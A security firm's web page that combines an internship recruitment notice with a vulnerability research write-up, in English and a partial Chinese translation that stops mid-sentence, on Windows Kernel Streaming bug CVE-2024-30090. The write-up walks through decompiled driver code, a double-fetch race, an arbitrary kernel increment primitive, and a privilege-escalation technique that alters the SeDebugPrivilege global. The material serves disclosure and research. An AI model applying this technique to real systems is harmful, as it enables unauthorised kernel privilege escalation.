DEVCORE 戴夫寇爾

DEVCORE 創立迄今已逾十年，持續專注於提供主動式資安服務，並致力尋找各種安全風險及漏洞，讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能，我們成立了「戴夫寇爾全國資訊安全獎學金」，亦於 2022 年初舉辦首屆實習生計畫，目前為止成果頗豐、超乎預期。

我們很榮幸地宣佈，第七屆實習生計畫將於 2025 三月登場，即日起正式開放報名！為了讓同學們有更充裕的準備時間並獲得更好的實習體驗，本屆在時程上做了一些調整：

• 延長報名時間，並採取更彈性的申請方式，讓同學能充分展現自身實力
• 提早公布結果，讓同學更靈活地規劃後續行程

此外，我們也延續了上一屆的分組方式，讓同學們能根據興趣與專長選擇合適的組別：

• Research 組：適合對漏洞研究有興趣、想挖掘真實漏洞的同學
• Red Team 組：適合對紅隊技術有興趣、想精進滲透技巧的同學

若您期待加入我們、精進資安技能，煩請詳閱下列資訊後田報名！

實習內容

本次實習分為 Research 及 Red Team 兩個組別，主要內容如下：

• Research (Binary/Web) 以研究為主，在與導師確定研究標的後，分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路，找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit，理解過去漏洞都出現在哪，體驗真實世界的漏洞都是如何利用。
  • 漏洞挖掘及研究 60 %
  • 1-day 開發 (Exploitation) 30 %
  • 成果報告與準備 10 %
• Red Team 研究並深入學習紅隊常用技巧，熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。
  • 漏洞與技巧的研究及深入學習 70 %
  • Lab 建置或 Bug Bounty 或漏洞挖掘 30 %

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

• 2025 年 3 月初到 2025 年 7 月底，共 5 個月
• 每週工作兩天，工作時間為 10:00 – 18:00
  • 其中一天 14:00 - 18:00 必須到公司同步進度，其餘時間為遠端作業
  • 如果居住雙北外可彈性調整同步方式，但須每個組別統一

招募對象

• 具有一定程度資安背景的學生，且可每週工作兩天
• 無其他招募限制，歷屆實習生可重複應徵

預計招收名額

• Research 組：2~3 人
• Red Team 組：2~3 人

薪資待遇

每月新台幣 18,000 元（另補助部分交通費）

招募條件資格與流程 實習條件要求 Research (Binary/Web)

• 基本漏洞利用及挖掘能力
• 具備研究熱誠，習慣了解技術本質
• 熟悉任一種 Scripting Language（如：Shell Script、Python、Ruby），並能使用腳本輔以研究
• 具備除錯能力，能善用 Debugger 追蹤程式流程、能重現並收斂問題
• 具備獨立分析開放原始碼專案的能力，能透過分析程式碼理解目標專案的架構
• 熟悉並理解常見的漏洞成因
  • OWASP Web Top 10
  • Memory Corruption
  • Race Condition
  • …
• 加分但非必要條件
  • CTF 比賽經驗
  • pwnable.tw 成績
  • 有公開的技術 blog/slide、write-ups 或是演講
  • 精通 IDA Pro 或 Ghidra
  • 熟悉任一種網頁程式語言或框架（如：PHP、ASP.NET、Express.js），具備可以建立完整網頁服務的能力
  • 理解 PortSwigger Web Security Academy 中的安全議題
  • 獨立挖掘過 0-day 漏洞，或分析過 1-day 的經驗
  • 具備下列其中之一經驗
    • Web Application Exploit
    • Kernel Exploit
    • Windows Exploit
    • Browser Exploit
    • Bug Bounty

Red Team

• 必要條件
  • 熟悉 OWASP Web Top 10
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab
  • 理解計算機網路的基本概念
  • 熟悉任一種網頁程式開發方式（如：PHP、ASP.NET、JSP），具備可以建立完整網頁服務的能力
  • 熟悉任一種 Scripting Language（如：Shell Script、Python、Ruby），並能使用腳本輔以研究
  • 具備除錯能力，能善用 Debugger 追蹤程式流程、能重現並收斂問題
  • 具備可以建置、設定常見伺服器（如：Nginx、Apache、Tomcat、IIS、Active Directory）及作業系統（如：Linux、Windows）的能力
• 加分但非必要條件
  • 曾經獨立挖掘過 0-day 漏洞
  • 曾經獨立分析過已知漏洞並能撰寫 1-day Exploit
  • 曾經於 CTF 比賽中擔任出題者並建置過題目
  • 擁有 OSCP 證照或同等能力之證照

應徵流程

本次甄選一共分為二個階段：

第一階段：書面審查

第一階段為書面審查，會需要審查下列兩個項目

• 履歷內容
• 簡答題答案
  • 應徵 Research 實習生：
    • 題目一：漏洞重現與分析過程
      • 請提出一個，你印象最深刻或感到有趣、於西元 2022 ~ 2025 年間公開的真實漏洞或攻擊鏈案例，並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時，嘗試描述如何復現此漏洞或攻擊鏈，即使無法成功復現，也請記錄研究過程。報告撰寫請參考範本，盡可能詳細，中英不限。
    • 題目二：實習期間想要研究的主題
      • 請提出三個可能選擇的明確主題，並簡單說明提出的理由或想完成的內容，例如：
        • 研究◯◯開源軟體，找到可 RCE 的重大風險弱點。
        • 研究常見的路由器，目標包括：AA-123 路由器、BB-456 無線路由器。
        • 研究常見的筆記平台或軟體，目標包括：XX Note、YY Note。
  • 應徵 Red Team 實習生：
    • 請提出兩個於西元 2022 ~ 2025 年間公開的、與 Web 攻擊面、紅隊手法、漏洞或攻擊鏈相關的技術演講，請說明為什麼挑選這些演講並解釋它們為什麼有趣。
      • 請用你的理解重新以文字詳細解釋這些演講的技術細節，整理成一份 Write-up 以 PDF 格式輸出，並提供任何你覺得可以輔助或證明你理解的附加資料。
      • 這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、ZeroConf、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。

第二階段：面試

此階段為 30~120 分鐘（依照組別需求而定，會另行通知）的面試，會有 2~3 位資深夥伴參與，評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

• 2024/12/02 - 2025/01/05 公開招募，接收履歷與第一階段審核
• 2025/01/06 - 2025/01/23 第二階段面試（若報名踴躍會提前開始面試）
• 2025/01/24 前回應結果
• 2025/03/03 第七屆實習計畫於當週開始

報名方式

為了讓有意參加實習計畫的同學有更多時間準備，我們這次嘗試使用 Google 表單作為報名平台。您可以透過填寫表單進行報名，且在截止時間 2025/01/05 23:59 以前，您可以隨時編輯已提交的表單，或是重新填寫一份新的表單來更新報名資訊。請注意，我們會以最後一次提交的表單內容作為審核依據。

請於 2025/01/05 23:59 前完成填寫 Google 表單並上傳相關附件。以下為填寫表單的注意事項：

• 檔案經上傳後無法刪除或修改，欲更新檔案請重新填寫一份表單
• 請務必於截止時間（2025/01/06 23:59） 前完成所有表單填寫與檔案上傳，逾期未完成者將視同放棄應徵資格

報名截止後，我們會根據您提交的報名內容進行第一階段審核。審核結果將於 2025/01/13 前通知，並安排進一步的面試。最終錄取名單將於 2025/01/24 公佈，我們也會同步通知錄取情況。

若有應徵相關問題，請一律寄信到 [email protected]，如造成您的不便請見諒，我們感謝您的來信，並期待您的加入！

English Version, 中文版本

This is a series of research related to Kernel Streaming attack surface. It is recommended to read the following articles first.

• Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I

In the previous research on Proxying to Kernel, we discovered multiple vulnerabilities in Kernel Stearming as well as an overlooked bug Class. We successfully exploited vulnerabilities CVE-2024-35250 and CVE-2024-30084 to compromise Windows 11 at Pwn2Own Vancouver 2024.

In this article, we will continue to explore this attack surface and bug Class, revealing another vulnerability and exploitation technique, which was also presented at HEXACON 2024.

After Pwn2Own Vancouver 2024, we continued to investigate the ks!KsSynchronousIoControlDevice bug pattern to see if there were any other security issues. However, after some time, we did not find any other exploitable points in the property operations of KS object. Therefore, we shifted our focus to another feature, KS Event.

KS Event

Similar to the KS Property mentioned in the previous article, the KS object not only has its own property set but also provides the functionality to set KS Event. For instance, you can set an event to trigger when the device status changes or at regular intervals, which is convenient for developers of playback software to define subsequent behaviors. Each KS Event, like a property, requires the KS object to support it to be used. We can register or disable these Events through IOCTL_KS_ENABLE_EVENT and IOCTL_KS_DISABLE_EVENT.

KSEVENTDATA

When registering a KS Event, you can register the desired event by providing KSEVENTDATA. You can include handles such as EVENT_HANDLE and SEMAPHORE_HANDLE in the registration. When KS triggers this event, it will notify you using the provided handle.

The work flow of IOCTL_KS_ENABLE_EVENT

The entire work flow is similar to IOCTL_KS_PROPERTY. When calling DeviceIoControl, as shown in the figure below, the user’s requests are sequentially passed to the corresponding driver for processing.

Similarly, in step 3, 32-bit requests will be converted into 64-bit requests. By step 6, ks.sys will determine which driver and addhandler to handle your request based on the event of your requests.

Finally, forward it to the corresponding driver. As shown in the figure above, it is finally forwarded to KsiDefaultClockAddMarkEvent in ks to set the timer.

After grasping the KS Event functionality and process, we swiftly identified another exploitable vulnerability, CVE-2024-30090, based on the previous bug pattern.

Proxying to kernel again !

This time, the issue occurs when ksthunk converts a 32-bit request into a 64-bit one.

As shown in the figure below, when ksthunk receives an IOCTL_KS_ENABLE_EVENT request and the request is from a WoW64 Process, it will perform the conversion from a 32-bit structure to a 64-bit structure.

The conversion would call ksthunk!CKSAutomationThunk::ThunkEnableEventIrp to handle it.

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) { // Convert 32-bit requests and pass down directly } else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------------------------[1] ... v18 = KsSynchronousIoControlDevice( v25->FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &BytesReturned); //-----------------[2] ... } ... }

In CKSAutomationThunk::ThunkEnableEventIrp, a similar bug pattern is clearly visible. You can see that during the processing, the original request is first copied into a newly allocated buffer at [1]. Subsequently, this buffer is used to call the new IOCTL using KsSynchronousIoControlDevice at [2]. Both newinputbuf and OutBuffer are controlled by the user.

The flow when calling CKSAutomationThunk::ThunkEnableEventIrp is illustrated as follows:

When calling IOCTL in a WoW64 process, you can see in step 2 of the diagram that the I/O Manager sets Irp->RequestorMode to UserMode(1). In step 3, ksthunk converts the user’s request from 32-bit to 64-bit, handled by CKSAutomationThunk::ThunkEnableEventIrp.

Afterward, in step 5, KsSynchronousIoControlDevice will be called to issue the IOCTL, and at this point, the new Irp->RequestorMode has become KernelMode(0). The subsequent processing is the same as a typical IOCTL_KS_ENABLE_EVENT, so it won’t be detailed further. In summary, we now have a primitive that allows us to perform arbitrary IOCTL_KS_ENABLE_EVENT with KernelMode. Next, we need to look for places where we can achieve EoP.

The Exploitation

Following the previous approach, we first analyzed the entry point ksthunk. However, after searching for a while, we found no potential privilege escalation points. In ksthunk, most instances where Irp->RequestMode is KernelMode(0) are directly passed down without additional processing. Therefore, we shifted our eyes to the next layer, ks, to see if there are any opportunities for privilege escalation during the event handling process.

Quickly, we found a place that caught our attention.

In the KspEnableEvent handler, a code snippet first checks the NotificationType in the KSEVENTDATA you passed in to determine how to register and handle your event. In general, it usually provides an EVENT_HANDLE or a SEMAPHORE_HANDLE. However, in ks, if called from KernelMode, we can provide an Event Object or even a DPC Object to register your event, making the overall handling more efficient.

This means we can use this DeviceIoControl with KernelMode primitive to provide a kernel object for subsequent processing. If constructed well, it might achieve EoP, but it depends on how this Object is used later.

However, after trying for a while, we discovered that …

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) //-------[3] { // Convert 32-bit requests and pass down directly } else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) //-------[4] { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------[5] ... v18 = KsSynchronousIoControlDevice( v25->FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &BytesReturned); ... } ... }

If you want to provide a kernel object to register an event, then the flag given in the IOCTL for KSEVENT must be KSEVENT_TYPE_ENABLE at [3]. However, at [4], where the vulnerability is triggered, it must be KSEVENT_TYPE_QUERYBUFFER, and it is impossible to directly provide a kernel object as we might have expected.

Fortunately, IOCTL_KS_ENABLE_EVENT also uses Neither I/O to transmit data. It also presents a Double Fetch issue again.

As shown in the figure above, we can set the flag to KSEVENT_TYPE_QUERYBUFFER before calling IOCTL. When checking, it will handle it with KSEVENT_TYPE_QUERYBUFFER. Before the second KsSynchronousIoControlDevice call, we can change the flag to KSEVENT_TYPE_ENABLE.

This way, we can successfully trigger the vulnerability and construct a specific kernel object to register the event.

Trigger the event

When would it use the kernel object that you constructed? When an event is triggered, ks will call ks!ksGenerateEvent through DPC. At this point, it will determine how to handle your event based on the NotificationType you specified.

Let’s take a look at KsGenerateEvent

NTSTATUS __stdcall KsGenerateEvent(PKSEVENT_ENTRY EventEntry) { switch ( EventEntry->NotificationType ) { case KSEVENTF_DPC: ... if ( !KeInsertQueueDpc(EventEntry->EventData->Dpc.Dpc, EventEntry->EventData, 0LL) ) _InterlockedAdd(&EventEntry->EventData->EventObject.Increment, 0xFFFFFFFF); //--------[6] ... case KSEVENTF_KSWORKITEM: ... KsIncrementCountedWorker(eventdata->KsWorkItem.KsWorkerObject); //-----------[7] } }

At this point, there are multiple ways to exploit this. The most straightforward method is to directly construct a DPC structure and queue a DPC to achieve arbitrary kernel code execution, which corresponds to the code snippet at [6]. However, the IRQL when calling KsGenerateEvent is DISPATCH_LEVEL, making it very difficult to construct a DPC object in User space, and the exploitation process will encounter many issues.

Therefore, we opt for an alternative route using KSEVENTF_KSWORKITEM at [7]. This method involves passing in a kernel address and manipulating it to be recognized as a pointer to KSWORKITEM.

It can achieve an arbitrary kernel address increment by one. The entire process is illustrated in the diagram below.

When calling IOCTL_KS_ENABLE_EVENT, after constructing KSEVENTDATA to point to a kernel memory address, ks will handle it as a kernel object and register the specified event.

When triggered, ks will increment the content at our provided memory address. Therefore, we have a kernel arbitrary increment primitive here.

Arbitrary increment primitive to EoP

From arbitrary increment primitive to EoP, there are many methods that can be exploited, among which the most well-known are abuse token privilege and IoRing. Initially, it seemed like this would be the end of it.

However, both of these methods have certain limitations in this situation:

Abuse token Privilege

If we use the method of abusing token privilege for EoP, the key lies of the technique in overwriting Privileges.Enable and Privileges.Present. Since our vulnerability can only be incremented by one at a time, both fields need to be written to obtain SeDebugPrivilege. The default values for these two fields are 0x602880000 and 0x800000, which need to be changed to 0x602980000 and 0x900000. This means each field needs to be written 0x10 times, totaling 0x20 writes. Each write requires a race condition, which takes times and significantly reduces stability.

IoRing

Using IoRing to achieve arbitrary writing might be a simpler method. To achieve arbitrary write, you just need to overwrite IoRing->RegBuffersCount and IoRing->RegBuffers. However, a problem arises.

When triggering the arbitrary increment, if the original value is 0, it will call KsQueueWorkItem, where some corresponding complex processing will occur, leading to BSoD. The exploitation method of IoRing happens to encounter this situation…

Is it really impossible to exploit it stably?

Let’s find a new way !

When traditional exploitation methods hit a roadblock, it might be worthwhile to dive deeper into the core mechanics of the technique. You may unexpectedly discover new approaches along the way.

After several days of contemplation, we decided to seek a new approach. However, starting from scratch might take considerable time and may not yield results. Therefore, we chose to derive new inspiration from two existing methods. First, let’s look at abusing token privilege. The key aspect here is exploiting a vulnerability to obtain SeDebugPrivilege, allowing us to open high-privilege processes such as winlogon.

The question arises: why does having SeDebugPrivilege allow you to open high-privilege processes?

We need to take a look at nt!PsOpenProcess first.

From this code snippet, we can see that when we open the process, the kernel will use SeSinglePrivilegeCheck to check if you have SeDebugPrivilege. If you have it, you will be granted PROCESS_ALL_ACCESS permission, allowing you to perform any action on any process except PPL. As the name implies, it is intended for debugging purposes. However, it is worth noting that nt!SeDebugPrivilege is a global variable in ntoskrnl.exe.

It’s a LUID structure that was initialized at system startup. The actual value is 0x14, indicating which bit in the Privileges.Enable and Privileges.Present fields represent SeDebugPrivilege. Therefore, when we use NtOpenProcess, the system reads the value in this global variable

Once the value of nt!SeDebugPrivilege is obtained, it will be used to inspect the Privileges field in the Token to see if the Enable and Present fields are set. For SeDebugPrivilege, it will check the 0x14 bit.

However, there is an interesting thing…

The global variable nt!SeDebugPrivilege is located in a writable section!

A new idea was born.

Make abusing token privilege great again !

By default, a normal user will have only a limited number of Privileges, as shown in this diagram.

We can notice that in most cases, SeChangeNotifyPrivilege is enabled. At this point, we can look at the initialization part and find that SeChangeNotifyPrivilege represents the value 0x17.

What would happen if we use the vulnerability to change nt!SeDebugPrivilege from 0x14 to 0x17?

As shown in the figure, in the NtOpenProcess flow, it will first get the value of nt!SeDebugPrivilege, and at this time the obtained value is 0x17 (SeChangeNotifyPrivilege)

The next check will verify the current process token using 0x17 to see if it has this Privilege. However, normal users generally have SeChangeNotifyPrivilege, so even if you don’t have SeDebugPrivilege, you will still pass the check and obtain PROCESS_ALL_ACCESS. In other words, anyone with SeChangeNotifyPrivilege can open a high-privilege process except PPL.

Furthermore, by using the vulnerability mentioned above, we can change nt!SeDebugPrivilege from 0x14 to 0x17. Since the original value is not 0, it will not be affected by KsQueueWorkItem, making it highly suitable for our purposes.

Once we can open a high-privilege process, the privilege escalation method is the same as the abuse token privilege approach so that we won’t elaborate on that here. Ultimately, we successfully achieved EoP on Windows 11 23H2 by again utilizing Proxying to kernel.

Remark

Actually, this technique also applies to other Privilege.

• SeTcbPrivilege = 0x7
• SeTakeOwnershipPrivilege = 0x9
• SeLoadDriverPrivilege = 0xa
• …

The Next & Summary

The focus of these two articles is primarily on how we analyze past vulnerabilities to discover new ones, how we gain new ideas from previous research, find new exploitation methods, new vulnerabilities, and new attack surfaces.

There may still be many security issues of this bug class, and they might not be limited to Kernel Streaming and IoBuildDeviceIoControlRequest. I believe this is a design flaw in Windows, and if we search carefully, we might find more vulnerabilities.

For this type of vulnerability, you need to pay attention to the timing of setting Irp->RequestorMode. If it is set to KernelMode and then user input is used, issues may arise. Moreover, this type of vulnerability is often very exploitable.

In Kernel Streaming, I believe there are quite a few potential security vulnerabilities. There are also many components like Hdaudio.sys or Usbvideo.sys that might be worth examining and are suitable places for fuzzing. If you are a kernel driver developer, it is best not to only check Irp->RequestorMode . There might still be issues within the Windows architecture. Finally, I strongly recommend everyone to update Windows to the latest version as soon as possible.

Is that the end of it ?

Apart from proxy-based vulnerabilities, we have also identified many other bug classes, allowing us to discover over 20 vulnerabilities in Kernel Streaming. Some of these vulnerabilities are quite unique, so stay tuned for Part III.

Reference

• Easy Local Windows Kernel Exploitation
• One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11

English Version, 中文版本

這是一系列有關 Kernel Streaming 的相關的漏洞研究，建議先閱讀以下文章

• Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I

在先前 Proxying to Kernel 的研究中，我們在 Kernel Streaming 中找到了多個漏洞以及一個被忽視的 Bug Class，並在今年 Pwn2Own Vancouver 2024 中利用漏洞 CVE-2024-35250 及 CVE-2024-30084 成功攻下 Windows 11。

而在這篇研究中，我們將繼續延續這個攻擊面和這個 Bug Class，也將揭露另外一個漏洞和利用手法，亦發表於 HEXACON 2024 中。

在 Pwn2Own Vancouver 2024 之後，我們繼續針對 ks!KsSynchronousIoControlDevice 這個 bug pattern 去看看有沒有其他安全性上的問題，然而找了一段時間後，針對 KS Object 的 Property 操作中，並沒有找到其他可以利用的點，因而我們將方向轉往另外一個功能 KS Event 上。

KS Event

KS Event 與前一篇提到的 KS Property 類似。KS Object 中除了有自己的 Property Set 之外，也有提供設定 KS Event 的功能，比如說你可以設定設備狀態改變或是每個一段時間就觸發 Event，方便播放軟體等開發者定義後續的行為，而每個 KS Event 就如同 Property 一樣，要使用就必須該 KS Object 有支援。我們可以透過 IOCTL_KS_ENABLE_EVENT 及 IOCTL_KS_DISABLE_EVENT 來註冊或關閉這些 Event。

KSEVENTDATA

而在註冊 KS Event 時，你可以藉由提供 KSEVENTDATA 來註冊你想要的事件，其中可以提供 EVENT_HANDLE 及 SEMAPHORE_HANDLE 等 handle 來註冊，當 KS 觸發這個事件時，就會藉由這個 handle 來通知你。

The work flow of IOCTL_KS_ENABLE_EVENT

其整個運作流程也與 IOCTL_KS_PROPERTY 雷同，在呼叫 DeviceIoControl 時，就會像下圖一樣，將使用者的 requests 依序給相對應的 driver 來處理

同樣會在第 3 步時做 32-bit 的 requests 轉換成 64-bit 的 requests。到第 6 步時 ks.sys 就會根據你 requests 的 Event 來決定要交給哪個 driver 及 addhandler 來處理你的 request。

最終再轉發給相對應的 Driver。如上圖中最後轉發給 ks 中的 KsiDefaultClockAddMarkEvent 來設置 Timer。

在了解了 KS Event 功能及流程後，根據之前的 bug pattern 很快地又找到了一個可以利用的漏洞 CVE-2024-30090。

Proxying to kernel again !

這次的問題點發生在 ksthunk 將 32-bit request 轉換成 64-bit request 的過程。

如下圖，當 ksthunk 接收到來自 WoW64 Process 的 IOCTL_KS_ENABLE_EVENT 時，會進行 32-bit 結構到 64-bit 結構的轉換

轉換過程會呼叫 ksthunk!CKSAutomationThunk::ThunkEnableEventIrp 來處理

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) { // Convert 32-bit requests and pass down directly } else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------------------------[1] ... v18 = KsSynchronousIoControlDevice( v25->FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &BytesReturned); //-----------------[2] ... } ... }

而在 CKSAutomationThunk::ThunkEnableEventIrp 中，明顯可以看到類似的 bug pattern，從 [1] 中可以看到，它會複製使用者的輸入到新分配出來的 Buffer 中，接著在 [2] 處，就會利用該 Buffer 來使用 KsSynchronousIoControlDevice 呼叫新的 IOCTL，。其中 newinputbuf 及 OutBuffer 都是使用者所傳入的內容。

呼叫 CKSAutomationThunk::ThunkEnableEventIrp 時的流程，大概如下圖所示 :

在 WoW64 的程式中呼叫 IOCTL 時，可以看到圖中第 2 步 I/O Manager 會將 Irp->RequestorMode 設成 UserMode(1)，而在第 3 步時，ksthunk 會將使用者的 request 從 32-bit 轉換成 64-bit，這邊就會用 CKSAutomationThunk::ThunkEnableEventIrp 來處理。

之後第 5 步，就會透過 KsSynchronousIoControlDevice 重新呼叫 IOCTL ，而此時新的 Irp->RequestorMode 就變成了 KernelMode(0) 了，而後續的處理就如一般的 IOCTL_KS_ENABLE_EVENT 相同，就不另外詳述了，總之我們到這裡已經有個可以任意做 IOCTL_KS_ENABLE_EVENT 的 primitive 了，接下來我們必須尋找看看是否有可以 EoP 的地方。

The Exploitation

跟先前思路一樣，一開始還是會先分析入口點 ksthunk，然而我們找尋了一陣子之後，並沒有看到可以做為提權的地方，而且在 ksthunk 中，大多數只要看到 Irp->RequestMode 是 KernelMode(0) 就會直接往下傳遞而不另外做處理。因此我們將我們的目標轉向位在下一層的 ks，看看它在處理 event 的過程中，是否有可以用來提權的地方。

很快的就找到一個吸引我們目光的地方：

在 KspEnableEvent 的 Handler 中，有一處會先判斷你所傳入的 KSEVENTDATA 中的 NotificationType 來決定要怎麼註冊及處理你的事件，在一般情況下通常是給一個 EVENT_HANDLE 或是 SEMAPHORE_HANDLE，然而在 ks 中，如果是從 KernelMode 呼叫的就給以提供 Event Object 甚至 DPC 來註冊你的事件，讓整體的處理上更有效率。

也就是說我們可以藉由這個 KernelMode 的 DeviceIoControl 的 primitive 來提供任意 Kernel Object，讓它做後續處理，構造的好就有機會達成 EoP 但要看後續怎麼使用這個 Object 就是了。

但是我們在嘗試了一段時間後發現到……

__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) //-------[3] { // Convert 32-bit requests and pass down directly } else if ( (v25->Parameters.DeviceIoControl.Type3InputBuffer->Flags & 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) //-------[4] { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------[5] ... v18 = KsSynchronousIoControlDevice( v25->FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &BytesReturned); ... } ... }

如果要提供任意 Kernel Object 去註冊事件，那麼 IOCTL 中所給定的 KSEVENT 的 flag，必須要是 KSEVENT_TYPE_ENABLE，也就是上面程式碼 [3] 的部分，然而在程式碼片段 [4] 處是觸發漏洞的地方卻是要是 KSEVENT_TYPE_QUERYBUFFER，並沒辦法如我們所想的一樣直接給一個 Kernel Object。

然而幸運的是整個 IOCTL_KS_ENABLE_EVENT 也是使用 Neither I/O 直接拿使用者的 Input buffer 來做資料上的處理，再次出現了 Double Fetch 的問題。

如上圖中所示，我們可以在呼叫 IOCTL 前把 flag 設置成 KSEVENT_TYPE_QUERYBUFFER，檢查時就會以 KSEVENT_TYPE_QUERYBUFFER 的功能處理，而在第二次呼叫 IOCTL 前，就把 flag 換成 KSEVENT_TYPE_ENABLE，這樣就可以成功觸發漏洞並構造特定的 Kernel Object 來註冊事件了。

Trigger the event

至於甚麼時候會用到你所構造的 KS Object 呢? 當事件觸發時， ks 會透過 DPC 呼叫 ks!ksGenerateEvent，此時就會依照你所給定的 NotificationType 來決定要怎麼處理你的事件。

我們就來看一下 KsGenerateEvent

NTSTATUS __stdcall KsGenerateEvent(PKSEVENT_ENTRY EventEntry) { switch ( EventEntry->NotificationType ) { case KSEVENTF_DPC: ... if ( !KeInsertQueueDpc(EventEntry->EventData->Dpc.Dpc, EventEntry->EventData, 0LL) ) _InterlockedAdd(&EventEntry->EventData->EventObject.Increment, 0xFFFFFFFF); //--------[6] ... case KSEVENTF_KSWORKITEM: ... KsIncrementCountedWorker(eventdata->KsWorkItem.KsWorkerObject); //-----------[7] } }

其實到這邊就有多種利用方式可以利用，最直接的莫過於直接構造 DPC 結構註冊 DPC 來達成任意 Kernel 程式碼執行，也就是上面程式碼片段 [6] 的地方，但在呼叫 KsGenerateEvent 時的 IRQL 是 DISPATCH_LEVEL 很難在 User space 下構造 DPC object 利用過程也會遇到許多問題。

所以我們改用另外一條 KSEVENTF_KSWORKITEM，也就是程式碼片段 [7] 的部分，藉由傳入 Kernel 位置，讓他誤認為是 KSWORKITEM 的指標。

其中就會對該指標指向位置加上 0x5c 的地方加一，也就是可以達到任意 Kerenl Address 加一的寫入，其整個過程就如下圖：

在呼叫 IOCTL_KS_ENABLE_EVENT 時，構造 KSEVENTDATA 指向 Kernel 記憶體位置後，ks 處理時就會將它作為 Kernel Object 來操作，並註冊指定的事件

而到觸發時，ks 就會將我們給的記憶體位置內容 +1，因此我們這邊就有了一個 kernel 任意 +1 的 primitive 了。

Arbitrary increment primitive to EoP

從任意記憶體位置 +1 到提權有許多方法可以利用，其中最知名的莫過於 Abuse token privilege 以及 IoRing，原本以為到這邊就差不多結束了…

然而上述兩種方法在這個情境中都有一定的侷限：

Abuse token Privilege

如果是以 Abuse token privilege 方法來做提權，其關鍵在於覆寫 Privileges.Enable 及 Privileges.Present，而我們漏洞一次只能 +1 ，如果要拿到 SeDebugPrivilege 就必須兩個欄位都要寫到，這兩格欄位的預設數值為 0x602880000 及 0x800000 必須要變成，0x602980000 及 0x900000，也就是說分別都要各寫 0x10 次，總共要 0x20 次的寫入，每次的寫入都要 race，需要花上不少時間，穩定度也大幅下降。

IoRing

透過 IoRing 來達到任意寫入，也許會是個更簡單的方法，只需覆寫 IoRing->RegBuffersCount and IoRing->RegBuffers 就可達到任意寫入，然而有個問題就發生了…

